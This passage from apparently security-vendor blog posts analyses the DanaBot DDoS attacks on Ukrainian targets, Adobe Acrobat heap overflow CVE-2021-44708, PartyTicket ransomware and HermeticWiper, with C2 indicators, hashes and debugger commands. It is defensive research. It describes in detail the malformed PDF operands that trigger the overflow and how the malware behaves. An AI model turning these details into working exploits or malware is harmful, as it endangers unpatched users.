certificate (benign), whose CN (Common Name) will then be used to evaluate your organization’s policies, again, defeating the attack attempt. Furthermore, as you are maximizing SSL inspection, all request/response content will be scanned by the complete Zscaler security stack, regardless of the domain reputation, providing defense-in-depth. About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Tue, 22 Mar 2022 10:16:24 -0700 Krishna Kona DanaBot Launches DDoS Attack Against the Ukrainian Ministry of Defense March 7, 2022 Update DanaBot affiliate ID 5 has stopped DDoSing the Ukrainian Ministry of Defense’s webmail server and started DDoSing a hardcoded IP address, 138.68.177[.]158. According to Passive DNS data, this IP address has recently been associated with invaders-rf[.]com. This site claims to be (Google translated): “ information resource of the Office of the National Security and Defense Council of Ukraine, which provides information about prisoners of war of the Russian Armed Forces who have invaded the territory of Ukraine since February 24, 2022. The portal will be available to Russian citizens, including soldiers' families or acquaintances, to obtain information on the condition and whereabouts of prisoners.” Given the threat actor’s previous targeting, this seems like the likely target. The DDoS attack payload was written and distributed similarly to the Ukrainian Ministry of Defense DDoS payload on March 2, 2022: Key Points A threat actor using DanaBot has launched a Distributed Denial of Service (DDoS) attack against the Ukrainian Ministry of Defense’s webmail server. The DDoS attack was launched by leveraging DanaBot to deliver a second-stage malware payload using the download and execute command. It is unclear whether this is an act of individual hacktivism, state-sponsored, or possibly a false flag operation. DanaBot, first discovered in 2018, is a malware-as-a-service platform where threat actors, known as affiliates are identified by affiliate IDs. These affiliates purchase access to the platform from another threat actor who develops the malware and command and control (C2) panel, sets up and maintains the shared C2 infrastructure, and provides sales and customer support. Affiliates then distribute and use the malware as they see fit--mostly to steal credentials and commit banking fraud. On Wednesday March 2, 2022, in the midst of the 2022 Russian invasion of Ukraine, the threat actor identified by the affiliate ID 5 launched an HTTP-based Distributed Denial of Service (DDoS) attack against the Ukrainian Ministry of Defense’s webmail server with the URL hxxps://[.]ua as shown in Figure 1: Figure 1: Hardcoded DDoS Target Attacked by DanaBot With Affiliate ID 5 At the time of publication, the webmail server is still online and reachable as shown in Figure 2. Figure 1: Ukrainian Ministry of Defense’s Webmail Server Targeted by DanaBot Affiliate ID 5 The DDoS attack was launched using DanaBot's download and execute (command 2048 / subcommand 9) to deliver a new executable with the SHA-256 hash: b61cd7dc3af4b5b56412d62f37985e8a4e23c64b1908e39510bc8e264ebad700 Similar to DanaBot, the downloaded DDoS executable is written in the Delphi programming language. Its sole functionality is to implement a bare-bones HTTP-based DDoS attack on a hardcoded target. The executable is very similar to the one used in another DanaBot DDoS attack that was documented in November 2021. In that attack, the DanaBot affiliate ID 4 launched a DDoS attack against a Russian language electronics forum. Conclusion While the timing and targeting certainly suggest this new attack is related to the 2022 Russian invasion of Ukraine, it is unclear whether this is an act of individual hacktivism, something state-sponsored, or possibly a false flag operation. If the threat actor’s motive is to attack Ukraine, it is quite likely that in addition to the DDoS attack, the actor is using DanaBot’s more typical functionality such as credential theft and document theft against any relevant victims as well. Cloud Sandbox Detection Indicators of Compromise IOC Notes 7ea65c1cb2687be42f427571e3223e425d602d043c39f690d0c3c42309aff513 SHA256 hash for the affiliate ID 5 DanaBot loader component 192.236.161[.]4 DanaBot affiliate ID 5 C2 server 23.106.122[.]14 DanaBot affiliate ID 5 C2 server 5.9.224[.]217 DanaBot affiliate ID 5 C2 server ockiwumgv77jgrppj4na362q4z6flsm3uno5td423jj4lj2f2meqt6ad[.]onion DanaBot affiliate ID 5 C2 server b61cd7dc3af4b5b56412d62f37985e8a4e23c64b1908e39510bc8e264ebad700 SHA256 hash for the DDoS attack tool targeting the Ukrainian Ministry of Defense fd217dde8d03cfb9179f5ad783665bb67c47a92278971e28c3d399e7ac6f0a54 SHA256 hash for the DDoS attack tool targeting invaders-rf\.com c732d57f5b3354c368e54a16b193457d6f06b707c0388c5643677a9de13e04db SHA256 hash for the DDoS attack tool targeting invaders-rf\.com 9706a9d8aacea34071f6f1691dc3c1af3d01868fc17deb83a4b8f33e2342a9d3 SHA256 hash for the DDoS attack tool targeting invaders-rf\.com About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Wed, 02 Mar 2022 13:13:47 -0800 Dennis Schwarz Analysis of Adobe Acrobat Pro DC Solid Framework Heap-based Buffer Overflow Vulnerability (CVE-2021-44708) In January 2022, Adobe released a security update for vulnerabilities in Adobe Acrobat and Reader. The update fixed five vulnerabilities (CVE-2021-44703, CVE-2021-44708, CVE-2021-44709, CVE-2021-44740, and CVE-2021-44741) discovered by Zscaler’s ThreatLabz. These five vulnerabilities existed in the Adobe Acrobat Pro DC Solid Framework. Adobe uses the Solid Framework for the conversion of PDF files to Microsoft Office files in Adobe Acrobat. In this blog, we present our analysis of CVE-2021-44708, a heap-based buffer overflow vulnerability in Adobe Acrobat Pro DC. Foxit’s PDF Editor uses the Solid Framework for the conversion of PDF files to other file formats, and is therefore, also impacted by this vulnerability. Foxit has also released a security update to fix CVE-2021-44708. Vulnerability Description CVE-2021-44708 is a heap overflow vulnerability due to the insecure handling of a maliciously crafted file, potentially resulting in arbitrary code execution in the context of the current user. The exploitation of this issue requires user interaction in that a victim must open a malicious file. Known Affected Software Configurations Acrobat DC Continuous 21.007.20099 and earlier versions in Windows Acrobat DC Continuous 21.007.20099 and earlier versions in macOS Acrobat 2020 Classic 2020  20.004.30017 and earlier versions in Windows & macOS Acrobat 2017 Classic 2017 17.011.30204 and earlier versions in Windows & macOS Foxit PDF Editor and all previous 11.x versions, and earlier Proof of Concept The vulnerability can be triggered by opening a malicious PDF file and exporting it to a Microsoft Word document. Zscaler ThreatLabz created a PoC file that will cause the following crash. To reproduce this issue, the following steps can be performed: Enable Page Heap on Acrobat.exe Open the PoC file with Adobe Acrobat Pro DC. Click the menu File → Export to → Microsoft Word → Word Document. It will produce the following crash. Test Environment Adobe Acrobat Pro DC, Product version: 21.7.20095.60881 PDFLibTool.dll, Product version: 10.0.12082.1 Solid Framework (x86), Product version: 10.0.12082.1 Technical Analysis The heap-based buffer overflow vulnerability CVE-2021-44708 exists in Adobe Acrobat Pro DC’s third-party library Solid Framework, which is located in the directory C:\Program Files (x86)\Adobe\Acrobat DC\Acrobat\plug_ins\SaveAsNonPDF\Solid. Figure 1 shows a comparison between a properly structured PDF file with a minimized PoC file that triggers this vulnerability. Figure 1. Comparison between a normal PDF file and the minimized PoC file that triggers CVE-2021-44708 As shown in Figure 1, the single modified byte is located in obj 261. The structure of the minimized PoC PDF file is shown below in Figure 2. Figure 2. The structure of the minimized PoC PDF file for CVE-2021-44708 In Figure 2, the obj 65 uses obj 261 as its content and references obj 72 as its colorspace. The obj 72 is an ICCBased family color space and references obj 73 as its International Color Consortium (ICC) profile. ICCBased color spaces can have 1, 3, or 4 components (defined by the N dictionary value). They often use Gray (1 component), RGB (3 components), or CMYK (4 components). The parameter “/N 4” indicates the number of color components in the color space described by the ICC profile data. The stream data in both obj 261 and obj 73 has been compressed using the deflate algorithm. (For more information on deflate, please refer to Zlib is a C library that implements the deflate algorithm. Adobe Acrobat uses zlib to decompress the deflate-compressed data. An example Python script is shown below to decompress the data in obj 261 and obj 73, respectively. Figure 3. Python script to decompress Zlib stream data The uncompressed stream content in obj 261 contains a stream of graphics operators in Figure 4. Many of these streams contain invalid operators and abnormal operands. Figure 4. Uncompressed stream content in obj 261 in the minimized PoC file for CVE-2021-44708 The uncompressed stream content in obj 73 is shown in Figure 5. It’s an ICC profile with 0x39D0 bytes. The ICC Profile Format Specification refers to Figure 5. Uncompressed stream content (containing an ICC profile) in obj 73 The methods CPdfPageContentProcessor::ProcessCommandStreamMultiThread and CPdfPageContentProcessor::ProcessGeneralCommand stand out in the stack backtrace described in the Proof of Concept section. The method CPdfPageContentProcessor::ProcessGeneralCommand(GrStateCommands const &,char const *,std::vector<CPdfLexem> &,int) is responsible for processing the command stream of graphic operators and operands. The following breakpoint can be set to trace the order of the graphic operators processed before the crash occurs. bu PDFLibTool!CPdfPageContentProcessor::ProcessGeneralCommand ".printf \"CPdfPageContentProcessor::ProcessGeneralCommand hit\\n\"; dps esp L7; db poi(esp+8); dd poi(esp+4) L1; gc; " This breakpoint is hit thousands of times until the crash occurs. Example output when this breakpoint is hit is shown in Figure 6. Figure 6. Output of the breakpoint at CPdfPageContentProcessor::ProcessGeneralCommand The crash occurs when the graphic operator f* is processed. The operator f* is a path-painting operator without operands. The description of path-painting operators is listed in Figure 7. Figure 7. Path-Painting operators In Figure 6, there’s one operator c21244.7568469.3 that is close to the operator f* before the crash occurs. The string c21244.7568469.3 occurs once in the uncompressed stream content in obj 261 as shown in Figure 8. Figure 8. The string c21244.7568469.3 in the uncompressed stream content in obj 261 The this pointer when the crash occurs points to a heap buffer with the size of 0x15c bytes as shown in Figure 9. Based on the output of the command !heap, the method CPdfPageContentProcessor::ProcessCommandStreamMultiThread contains a call stack with the method CICMConverter::Initialize that calls the function malloc to allocate a heap buffer with the size of 0x15c bytes. Figure 9. The call stack and this pointer when the crash occurs The following breakpoint is set to trace how the heap buffer is allocated and initialized. 0:002> bm PDFLibTool!CICMConverter::Initialize 1: 67db43e0 @!"PDFLibTool!CICMConverter::Initialize" 2: 67db4460 @!"PDFLibTool!CICMConverter::Initialize" 0:002> bu PDFLibTool!CxManagedImage::Set+0x5e871 When the breakpoint at CICMConverter::Initialize(uchar *,uint,solid::pal::COLORTYPE) is hit, the three function parameters can be inspected as shown in Figure 10. Figure 10. The parameters of CICMConverter::Initialize(uchar *,uint,solid::pal::COLORTYPE) after the breakpoint is hit The first parameter is a pointer to a heap buffer that stores the ICC profile data (the uncompressed stream content in obj 73 is shown in Figure 5). The second parameter is the size of the ICC profile data. The third parameter is 0x07 that represents the color type CMYK. When the breakpoint at PDFLibTool!CxManagedImage::Set+0x5e871 is hit, it pushes 0x15c on the stack as the parameter passed to the function malloc to allocate a heap buffer with a size of 0x15c bytes as seen in Figure 11. Figure 11. Allocated heap buffer with the size 0x15c bytes The corresponding snippet of pseudocode in IDA Pro is shown in Figure 12. After the heap buffer is allocated, the code performs some initialization for the heap buffer. First, it calls the function sub_102B7BC0 to initialize the vtable pointer and other fields. The name of the vftable indicates that the heap buffer is a CIccCLUT object (which represents the ICC Color Lookup Tables). Figure 12. The relevant snippet of pseudocode in IDA Pro The code then calls the function sub_102BAA30 to continue the initialization of the heap buffer. As seen in Figure 13, the function sub_102BAA30 calls the function sub_102BAA70 to perform the initialization. At the end of sub_102BAA70, the code allocates a new heap buffer with a size of 0x708c bytes, and then it stores the pointer to the newly allocated heap buffer at the offset 0x64 of the CIccCLUT object. Figure 13. The pseudocode of the function sub_102BAA70 A memory write breakpoint can be set using the command “ba w4 addr” on the heap buffer. In Figure 12, after the function sub_102BAA30 is called, there is a function call to obtain the starting offset for the tables of the ICC profile file. The return value is 0x17c. Next, the code calls the function sub_102BE280, which is used to convert the tables in the mft2 tag in the ICC profile to a color lookup table. The color lookup table is stored in the newly allocated heap buffer (with a size 0x708c bytes) as shown in Figure 14. Figure 14. The ICC profile and color lookup table Finally, after the initialization of the heap buffer (CIccCLUT object) is completed, the memory layout is similar to the following in Figure 15. Figure 15. The memory layout of CIccCLUT object In Figure 6, the crash occurs during the process of handling the graphic operator f*. Since there are over 200 f* operators in the graphic stream, the following conditional breakpoint can be set to trace the malformed operator c21244.7568469.3. bu PDFLibTool!CPdfPageContentProcessor::ProcessGeneralCommand ".if(poi(poi(esp+8))=0x32313263) {.printf \"CPdfPageContentProcessor::ProcessGeneralCommand hit\\n\"; dps esp L7; db poi(esp+8); dd poi(esp+4) L1;} .else {gc; } " The operator f* of interest is close to the operator c21244.7568469.3 in the graphic stream that is shown in Figure 8. When the breakpoint is hit, the following breakpoint at PDFLibTool!CPdfPageContentProcessor::ProcessGeneralCommand can be set again. bu PDFLibTool!CPdfPageContentProcessor::ProcessGeneralCommand "printf \"CPdfPageContentProcessor::ProcessGeneralCommand hit\\n\"; dps esp L7; db poi(esp+8); dd poi(esp+4) L1; " The breakpoint is hit several times until the following output in Figure 16 is reached. Figure 16. Output of breakpoint reached at PDFLibTool!CPdfPageContentProcessor::ProcessGeneralCommand At this stage, the code that handles how the f* operator is processed can be analyzed. In the Proof of Concept section, the stack backtrace contains the method CCSICCBased::ConvertToRGB that was called before the crash occurs. This method is used to convert the CCSICCBased color into an RGB color. In obj 73 (in Figure 2) the parameter “/N 4” indicates the number of color components in the color space described by the ICC profile. This means that it will convert CMYK (4 components) into RGB by means of the ICC color lookup tables (CLUT). Therefore a breakpoint can be set at the method PDFLibTool!CCSICCBased::ConvertToRGB. bm PDFLibTool!CCSICCBased::ConvertToRGB When this breakpoint is hit, the following output is expected in Figure 17. Figure 17. Breakpoint triggered at the method PDFLibTool!CCSICCBased::ConvertToRGB The method PDFLibTool!CCSICCBased::ConvertToRGB takes 3 parameters. The second parameter is a pointer to a double type that stores four double type numbers which are 98929, 5511.01, 962.467, and 5. These four numbers are the operands for the operator scn. The description of the scn operator is listed in Figure 18. Figure 18. The scn (set color) operator definition The method CCSICCBased::ConvertToRGB calls the method CICMConverter::Convert(struct tagRGBTRIPLE *retstr, const double *a2) whose second parameter is a pointer pointing to a stack buffer that stores four numbers (98929, 5511.01, 962.467, 5) of double type. The method CICMConverter::Convert converts the double array to a float array as shown in Figure 19. Figure 19. The pseudocode of the method CICMConverter::Convert The memory layout of the float array is shown in Figure 20. Figure 20. The memory layout of the float array [98929, 5511.01, 962.467, 5] Tracing the function call flow, the crash occurs in the function sub_102BB250(int this, int a2, float *a3). The pseudocode of sub_102BB250 is shown in Figure 21. Figure 21. The pseudocode of sub_102BB250 When the program reaches the function sub_102BB250, the memory layout of the function parameters and this pointer are shown in Figure 22. Figure 22. The memory layout of the parameters and this pointer of sub_102BB250 As seen in Figure 22, the this pointer points to a CIccCLUT object with the size of 0x15c bytes. At the offset 0x64, a pointer is stored that points to the heap buffer of the color lookup table whose size is 0x708c bytes. In Figure 21, we can see that the program does some arithmetic before dereferencing the variable v22 in the following code. The four numbers (98929, 5511.01, 962.467, 5) passed to the scn operator are malformed, causing the code to calculate an offset in the color lookup tables that far exceeds the length of the heap buffer that stores the color lookup tables. As a result, when the code dereferences the variable v22, a heap buffer overflow occurs. A valid scn operator is shown below the malformed operand values in Figure 23. The value of each number should fall into the range from 0 to 1. Figure 23. Comparison between normal operands and malformed operands for the scn operator To summarize, the PoC PDF file contains malformed operands passed to the scn operator in the graphics stream. As a result, a malformed color is set using the scn operator that uses the f* operator to fill the path using the even-odd rule. When the f* operator is processed, the code converts CMYK (4 components) into RGB by means of Color Lookup Tables (CLUTs), which causes a heap buffer overflow. Mitigation All users of Adobe Acrobat and Reader are encouraged to upgrade to the latest version of this software. Zscaler’s Advanced Threat Protection and Advanced Cloud Sandbox can protect customers against this vulnerability. References About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Fri, 04 Mar 2022 14:23:48 -0800 Kai Lu Technical Analysis of PartyTicket Ransomware Key Points PartyTicket is an unsophisticated and poorly designed ransomware family that is likely intended to be a diversion from the Hermetic wiper attack The ransomware generates a single AES key that is used to encrypt targeted files in GCM mode Files can be decrypted without having access to the RSA private key because the AES key is generated using a random function that is deterministic Technical Analysis On 23rd Feb 2022, a new sophisticated malware family known as Hermetic Wiper was discovered that targeted organizations in the Ukraine with an objective of destroying data and causing business disruption. Hermetic Wiper appears to have been used in conjunction with another malware family that disguises itself as ransomware. This secondary malware known as PartyTicket has the SHA256 4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382 and was written using the Go programming language. The first PartyTicket sample that was submitted to a public malware repository on 2022-02-23 22:29:59 UTC. PartyTicket is quite distinct from typical ransomware families in that the design and implementation looks rushed and unsophisticated. For example, PartyTicket does not terminate processes such as databases and other business applications prior to encryption. Therefore, the number of potential files that can be encrypted is limited since many applications may have open file handles. In addition, the malware generates a 32 character alphanumeric key using the Go programming language’s random function, which is deterministic. Therefore, the AES encryption key can be recovered and used to decrypt files. PartyTicket also stands out with numerous references that mock U.S. President Joe Biden as shown in Figure 1. Figure 1. PartyTicket code references mocking U.S. President Joe Biden The malware takes a single command-line argument, which is the filename to encrypt. If the malware is launched without any arguments, it builds a list of files to encrypt. For every file in this list, the malware creates a new copy of itself using a name generated by calling the UUID Go library function, which is based on the current timestamp and system’s MAC address. The new PartyTicket copy is then executed passing a filename to encrypt. This design choice is very odd because it slows the system down significantly, because a new process is created to encrypt every file. In addition, the numerous copies of the malware that are created fill up disk space, since the malware binary is larger than 3MB. Figure 2 shows an example of the numerous PartyTicket executables that were created during file encryption. Figure 2. Copies of PartyTicket executables during file encryption PartyTicket enumerates all files that have the extensions shown in Table 1. .docx .doc .dot .odt .pdf .xls .xlsx .rtf .ppt .pptx .one .xps .pub .vsd .txt ​​.jpg .jpeg .bmp .ico .png .gif .sql .xml .pgsql .zip .rar .exe .msi .vdi .ova .avi .dip .epub .iso .sfx inc .contact .url .mp3 .wmv .wma .wtv .cab .acl .cfg .chm .crt .css .dat .dll .html .htm Table 1. Extensions targeted by PartyTicket Files that are located in the Windows and Program Files folders are skipped. Before file encryption, the targeted file is renamed with the extension .[].encryptedJB as shown in Figure 3. Figure 3. Example file extension encrypted by PartyTicket The malware embeds a hardcoded 2,048-bit RSA key that is Base64 encoded. The modulus and exponent after the string has been Base64 decoded is the following: {"N":25717750538564445875883770450315010157700597087507334907403500443913073702720939931824608270980020206566017538751505629421265104974103147570147793053042036863191254946923781676642090335412731279862111354061120228616841376992917732378943779121050854967382946609942428983247336676216790986210080736803862945150526472173167906828929762505592535870383583936487111702345068645085659309737832227242430435624646519262394891097897303125875418724226485960819950080048563760122492117729591949924833142856225432439701811178348276860736565390543324668247780303411465497265471890279550350192239339342142099892835177175612362030619,"E":65537} PartyTicket uses this RSA public key to encrypt the AES key that is used for file encryption. Files are encrypted with AES in GCM mode using a 32-byte alphanumeric string that is created using the Go function math.rand.Int(), which is deterministic and therefore not cryptographically secure. The encrypted file format consists of the first 12 bytes used as the AES-GCM nonce, followed by the AES encrypted data, a 16-byte AES-GCM authentication tag, the RSA encrypted AES key, and finally appended with the string marker ZVL2KH87ORH3OB1J1PO2SBHWJSNFSB4A. After each file is encrypted, the corresponding temporary copy of the ransomware is then deleted. The ransom note is written to the user’s desktop using the filename read_me.html. An example ransom note, when rendered in a web browser, is shown in Figure 4. Figure 4. Example PartyTicket ransom note The special ID value is generated by calling the Go UUID function and does not serve any purpose. Zscaler coverage We have ensured coverage for the payloads seen in these attacks via advanced threat signatures as well as our advanced cloud sandbox. Advanced Threat Protection Win32.Trojan.HermeticWiper Advanced Cloud Sandbox Win32.Trojan.HermeticWiper Figure 5 below shows the sandbox detection report for PartyTicket. Figure 5. Zscaler Cloud Sandbox Report - PartyTicket Fri, 25 Feb 2022 11:33:52 -0800 Brett Stone-Gross ThreatLabz Security Advisory: Cyberattacks Stemming from the Russia-Ukraine Conflict [Updated: March 21, 2022] Updated Security Advisory - March 21, 2022 Earlier today, US President Joe Biden issued a statement warning of the potential for malicious cyber conduct against the United States as a response to economic sanctions against Russia. His statement urged immediate action to harden cyber defenses among both public and private sector organizations. The Zscaler ThreatLabz research team continues to monitor the ongoing Russia-Ukraine conflict and associated cyberthreats that may impact our customers. We have aggregated our guidance and resources in our Russia-Ukraine Conflict Cyber Resource Center. We will continue to update this page and our blog with new developments, as well as information to register for live threat briefings that we deliver when relevant cybersecurity events unfold. ThreatLabz has observed several targeted attacks in the last several weeks: PartyTicket Ransomware: This Go-based ransomware has been used in conjunction with the previously reported HermeticWiper malware to target organizations in Ukraine. It has not been formally attributed to the Russian state or other actors. Unlike HermeticWiper, PartyTicket is unsophisticated and contains flawed encryption that can be decrypted and reversed. Our technical analysis breaks down the full attack chain. DanaBot DDoS attack: On March 2, 2022, The Ukrainian Ministry Of Defense’s webmail server was hit with a distributed denial-of-service (DDoS) attack by a threat actor using DanaBot, a malware-as-a-service platform that was first discovered in 2018. With DanaBot, threat actors purchase access to the platform where they can access ready-made malware, command-and-control, and support resources to distribute and use the malware as they see fit. On March 7, 2022, DanaBot affiliate ID 5 stopped DDoSing the Ukrainian Ministry of Defense’s webmail server and started DDoSing a hardcoded IP address, 138.68.177[.]158. According to Passive DNS data, this IP address has recently been associated with invaders-rf[.]com. This site claims to be (Google translated): “ information resource of the Office of the National Security and Defense Council of Ukraine, which provides information about prisoners of war of the Russian Armed Forces who have invaded the territory of Ukraine since February 24, 2022. The portal will be available to Russian citizens, including soldiers' families or acquaintances, to obtain information on the condition and whereabouts of prisoners.” Given the threat actor’s previous targeting, this seems like the likely target. The DDoS attack payload was written and distributed similarly to the Ukrainian Ministry of Defense DDoS payload on March 2, 2022. Conti ransomware: The Cybersecurity & Infrastructure Security agency (CISA), the Federal Bureau of Investigation (FBI), the National Security Agency (NSA), and the United States Secret Service (USSS) have re-released an advisory on Conti, a Russia-linked ransomware group. Their advisory warns that “Conti cyber threat actors remain active and reported Conti ransomware attacks against U.S. and international organizations have risen to more than 1,000.” In late February, Conti posted two statements on their leak site, pledging support to the Russian government in response to “Western warmongering and American threats to use cyber warfare against the citizens of Russian Federation.” An analysis of their tactics is included in the ThreatLabz Ransomware Review report, as well as a recent ThreatLabz blog. Zscaler Cloud Sandbox Report: Conti Ransomware Zscaler has up-to-date protections against each of these attacks, including the indicators of compromise detailed in the blogs linked above. We recommend that all security teams adhere to the guidance in our previous advisory below, including best practices for patching, backup and recovery, monitoring, incident response plans, end user training, and zero trust adoption. As always, if you require assistance planning for or remediating attacks associated with this conflict, please contact the ThreatLabz team through the support security channel. Security Advisory – February 24, 2022 ThreatLabz has observed a resurgence in targeted attack activity against Ukraine in the recent months. We’ve identified two targeted attack chains that were likely waged by the Gamaredon APT threat actor between January and February 2022, and expect to see similar attacks in the coming days and weeks. On February 16th, 2022, CISA along with the FBI and NSA issued a joint cybersecurity advisory outlining the tools and tactics used by Russian threat actors in targeting government and defense contractors with an objective to steal sensitive information. This advisory outlined the use of tactics such as spear phishing emails, credential stuffing, brute forcing, privilege escalation, and persistence. With the Russia-Ukraine conflict escalating into a war, the risk of cybersecurity threats targeting US & European organizations has also gone up significantly. The below industries are at particularly heightened risk—but it is important for all global organizations to prepare their defense and response to such attacks: Figure 1: Industries Targeted (Credit: CISA) How does Zscaler protect my organization against these attacks? The Zscaler Zero Trust Exchange uses the principles of zero trust to protect your organization from cyber risks. Our protections closely map to trusted frameworks from organizations such as NIST and MITRE, and are continually updated by ThreatLabz experts and AI/ML models utilizing current data from the world’s largest security cloud, which processes over 200B transactions per day. Zscaler uniquely protects against these attacks by: Minimizing your attack surface and making apps invisible: Zscaler Private Access (ZPA) hides your internal apps behind our cloud proxy-based zero trust platform, making them invisible to the internet. When attackers cannot find your applications, they cannot attack them. Preventing Compromise by detecting and blocking malicious activity: Zscaler Internet Access (ZIA) inspects all internet traffic—whether encrypted or unencrypted—for indicators of compromise. If a file is unknown, Zscaler quarantines and detonates it with our in-line sandbox, only allowing files to proceed once they’ve been analyzed and deemed safe. Preventing lateral movement: ZPA connects users to resources only on a least-privilege basis, without granting network access – and Zscaler Workload Segmentation (ZWS) does the same for applications. Zscaler Deception populates your environment with decoys that can lure, detect, and contain sophisticated threat actors. Together, these capabilities provide defense-in-depth against lateral spread of an infection and limit the damage an attacker can cause. Stopping data loss. ZIA inspects all outgoing traffic – again, whether encrypted or unencrypted – to prevent malicious post-compromise activity such as communication with command-and-control servers and data exfiltration. Zscaler also protects valuable assets in the public cloud and SaaS apps by identifying misconfigurations and other vulnerabilities that may lead to data loss. Security recommendations Zscaler recommends a robust zero trust strategy based on the principles outlined above. Additionally, security teams must ramp up other areas of security hygiene in preparation for potential incidents, including: Patching. Ensure your enterprise applications are up-to-date with the latest security updates to minimize vulnerabilities. Backup and recovery. Ensure that your system backups are regular and current, and that backups are protected from attackers who may compromise your production servers. SOC response playbooks & IR plans. Ensure that your security operations team has response plans in place, prioritizing the most likely attack types – such as DDoS, Bruteforcing, and Ransomware. Monitoring. Engage in heightened monitoring of assets exposed to the conflict region. Security awareness training. As with many attacks, the recently discovered Hermetic wiper attack utilized spear phishing for initial compromise. Educate and remind your end users to be on the lookout for phishing attempts, use good password hygiene, and care for the physical security of corporate assets. How is Zscaler ThreatLabz helping our customers? The ThreatLabz team is actively tracking several threat actor groups and related campaigns in the wild. Zscaler Cloud telemetry provides a unique visibility (200B+ transactions secured, 150M+ threats blocked, 400K+ new unique files detonated daily) for the team to get insights into new threat activity and ensure rapid detection coverage across the Zscaler security platform. The following coverage was added for all the known indicators related to the recent attacks and we will continue to update as we uncover more details: Advanced Threat Protection Win32.Trojan.KillDisk Win32.Trojan.HermeticWiper VBA.Downloader.Gamaredon VBS.Downloader.Gamaredon DOC.Downloader.Gamaredon Advanced Cloud Sandbox Win32.Trojan.HermeticWiper Advanced Cloud Sandbox Report Figure 2 below shows the sandbox detection report for Wiper malware. Figure 2: Zscaler Cloud Sandbox Report - Hermetic Wiper Figure 3 below shows the document template (from attack chain #1) detection in the Zscaler sandbox. Figure 3: Zscaler Cloud Sandbox Report - Targeted Attack document template Get more information Please refer to our technical analysis blog to get more up-to-date information including IOC details. If you are a Zscaler customer and need additional help planning for or remediating attacks associated with this conflict, please contact the ThreatLabz team through the support security channel. As your trusted security partner, we are here to help. Thu, 24 Feb 2022 13:25:45 -0800 Deepen Desai HermeticWiper & resurgence of targeted attacks on Ukraine Summary Since Jan 2022, ThreatLabz has observed a resurgence in targeted attack activity against Ukraine. We identified two attack-chains in the timeframe - Jan to Feb 2022, which we attribute to the same threat actor with a moderate confidence level. It is important to note that we are not attributing the attacks to any nation-state backed threat actors at this point, since we don't have full visibility into the final payloads and the motives of the attack. The C2 infrastructure re-use points to Gamaredon APT threat actor, however more visibility is needed for proper attribution. The first attack-chain was blogged by the CERT team of Ukraine on 1st Feb 2022 here . It involved spear phishing emails sent to the “State Administration of Seaports of Ukraine”. The samples corresponding to the next-stage document template and the VBScript payload were not available in public domain. We were able to identify the document template and VBScript payload, and we aim to share the technical analysis in this blog. On 11th Feb 2022, we identified a sample uploaded to VirusTotal from Ukraine which resulted in our discovery of a previously undocumented attack-chain. We describe the technical details of this second attack-chain in the blog. By pivoting on the metadata of the files, we were able to discover 7 unique samples and the origins of campaign tracing back to Nov 2020. On 23rd Feb 2022, there were reports of a new sophisticated wiper malware hitting several organizations in the Ukraine with an objective of destroying data and causing business disruption. Threatlabz team analyzed the malware payload involved and uncovered several new tactics used in these attacks. A ransomware decoy known as PartyTicket was also observed being deployed during these attacks. In this blog, we will look at the technical details of these recent attacks targeting commercial and public entities in Ukraine. 1. HermeticWiper DoS Attack - Technical Analysis HermeticWiper is a sophisticated malware family that is designed to destroy data and render a system inoperable The wiper is multi-threaded to maximize speed and utilizes a kernel driver for low-level disk access These driver files appear to be part an outdated version of the EaseUS Partition Master application developed by CHENGDU YIWO Tech Development The HermeticWiper malware sample with SHA256 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 was compiled at 2022-02-23 09:48:53 UTC and was digitally signed with a valid certificate that was issued to Hermetica Digital Ltd. as shown in Figure 1. Figure 1: HermeticWiper’s digital signature The malware supports two command-line arguments that control the maximum duration to spend destroying data before forcing the system to reboot. After parsing the command-line, HermeticWiper calls OpenProcessToken() with the access mask TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY. If the wiper does not have sufficient privileges, it will terminate without performing any malicious actions. Otherwise HermeticWiper will attempt to grant itself the privileges SeShutdownPrivilege and SeBackupPrivilege and install a Windows kernel driver. The driver is embedded in the malware’s resource section, which contains the names and SHA256 hashes shown in Table 1. These files are digitally signed drivers that are used to interact with disks. Driver filename Compressed SHA256 Decompressed SHA256 DRV_X64 e5f3ef69a534260e899a36cec459440dc572388defd8f1d98760d31c700f42d5 96b77284744f8761c4f2558388e0aee2140618b484ff53fa8b222b340d2a9c84 DRV_X86 b01e0c6ac0b8bcde145ab7b68cf246deea9402fa7ea3aede7105f7051fe240c1 8c614cf476f871274aa06153224e8f7354bf5e23e6853358591bf35a381fb75b DRV_XP_X64 b6f2e008967c5527337448d768f2332d14b92de22a1279fd4d91000bb3d4a0fd 23ef301ddba39bb00f0819d2061c9c14d17dc30f780a945920a51bc3ba0198a4 DRV_XP_X86 fd7eacc2f87aceac865b0aa97a50503d44b799f27737e009f91f3c281233c17d 2c7732da3dcfc82f60f063f2ec9fa09f9d38d5cfbe80c850ded44de43bdb666d Table 1. Driver files embedded in HermeticWiper The specific driver that is extracted depends on whether the Windows operating system version is 32-bit or 64-bit and Windows XP or newer. The functions that are used to determine the Windows operating system version are VerSetConditionMask and VerifyVersionInfoW. These functions are rarely seen in comparison to the standard GetVersion functions to identify the Windows version. After these resources are extracted from the binary, the Windows LZ extraction library functions are used to decompress them. The Windows command-line utility expand.exe can also be used to manually decompress the drivers as shown in Figure 2. Figure 2: 